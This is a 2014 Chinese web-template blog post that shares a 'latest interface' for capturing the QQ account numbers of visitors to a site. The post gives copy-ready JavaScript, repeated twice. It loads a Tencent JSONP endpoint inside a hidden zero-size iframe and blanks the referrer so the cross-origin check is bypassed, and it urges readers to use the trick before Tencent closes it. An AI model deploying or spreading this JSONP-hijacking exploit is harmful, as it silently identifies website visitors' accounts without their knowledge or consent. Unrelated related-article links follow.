最新获取访客QQ接口—20140915

模板网 2014-09-15

最新获取访客QQ接口,分析某网站代码得到的最新获取访客QQ的接口,接口地址:

http://x.pet.qq.com/vip_platform?cmd=enter&callback=aaa

复制代码 代码如下:
<script>
window.www120mubancom = "<script>function aaa(obj){parent.qq(obj);}<\/script><script src='http://x.pet.qq.com/vip_platform?cmd=enter&callback=aaa'><\/script>";
function qq(obj){
if(typeof obj.uin != "undefined" ){
alert("获取到QQ:"+obj.uin);
}else{
alert("未获取到QQ");
}
}
</script>
<iframe src="javascript:parent.www120mubancom;" scrolling="no" frameborder="0" style="width: 0px; height: 0px;"></iframe>

使用JS技巧实现空来路达到跨域的目的,腾讯这种jsonp获取QQ的接口貌似还有不少,这个接口发布出来,相信不久后就会失效,切用且珍惜之。

<title>最新获取访客QQ接口—20140915</title>
<script>
window.www120mubancom = "<script>function aaa(obj){parent.qq(obj);}<\/script><script src='http://x.pet.qq.com/vip_platform?cmd=enter&callback=aaa'><\/script>";
function qq(obj){
	if(typeof obj.uin != "undefined" ){
		alert("获取到QQ:"+obj.uin);
	}else{
		alert("未获取到QQ");
	}	
}
</script>
<iframe src="javascript:parent.www120mubancom;" scrolling="no" frameborder="0" style="width: 0px; height: 0px;"></iframe>

相关文章

  1. HTML图片热区map area谷歌浏览器Google去除边框

    HTML图片热区map area去除边框默认的情况下 在Google浏览器中打开的时候周围会有蓝色的边框。 在area中加入以下代码可以去除边框: hidefocus=true onfocus=this.blur(); 完整代码如下: 复制代码 代码如下: img src=http://www.120muban.com/statics/images/l

  2. html5输入框正则验证

    html5输入框正则验证,输入框禁止粘贴,禁止右键菜单。

  3. 标题滚动效果演示

    纯JS实现的标题滚动效果。代码如下: 复制代码 代码如下: script type=text/javascript (function(){ setInterval(function(){ text = top.document.title; top.document.title=text.substring(1,text.length)+text.substring(0,1); },500); })(); /script

  4. 使用新浪获取IP所在地接口做网站跳转

    使用新浪获取IP接口做网站跳转 title使用新浪获取IP接口做网站跳转/title !--引用新浪IP获取接口-- script type=text/javascript src=http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js/script !--引用新浪IP获取接口-- script type=text/javas

  5. 移动端全屏滚动插件 zepto.fullpage.js

    zepto.fullpage 是专注于移动端的 fullPag e.js ,依赖 Ze pto 。 下载地址: https://github.com/yanhaijing/zepto.fullpage 功能概述 可实现移动端的单页滚动效果,可自定义参数,提供回调接口,和公开接口。 兼容性 Ios4+ Andriod2.3+(未全部覆盖) 快速

随机推荐

  1. HTML图片热区map area谷歌浏览器Google去除边框

    HTML图片热区map area去除边框默认的情况下 在Google浏览器中打开的时候周围会有蓝色的边框。 在area中加入以下代码可以去除边框: hidefocus=true onfocus=this.blur(); 完整代码如下: 复制代码 代码如下: img src=http://www.120muban.com/statics/images/l

  2. html5输入框正则验证

    html5输入框正则验证,输入框禁止粘贴,禁止右键菜单。

  3. 标题滚动效果演示

    纯JS实现的标题滚动效果。代码如下: 复制代码 代码如下: script type=text/javascript (function(){ setInterval(function(){ text = top.document.title; top.document.title=text.substring(1,text.length)+text.substring(0,1); },500); })(); /script

  4. 使用新浪获取IP所在地接口做网站跳转

    使用新浪获取IP接口做网站跳转 title使用新浪获取IP接口做网站跳转/title !--引用新浪IP获取接口-- script type=text/javascript src=http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js/script !--引用新浪IP获取接口-- script type=text/javas

  5. 移动端全屏滚动插件 zepto.fullpage.js

    zepto.fullpage 是专注于移动端的 fullPag e.js ,依赖 Ze pto 。 下载地址: https://github.com/yanhaijing/zepto.fullpage 功能概述 可实现移动端的单页滚动效果,可自定义参数,提供回调接口,和公开接口。 兼容性 Ios4+ Andriod2.3+(未全部覆盖) 快速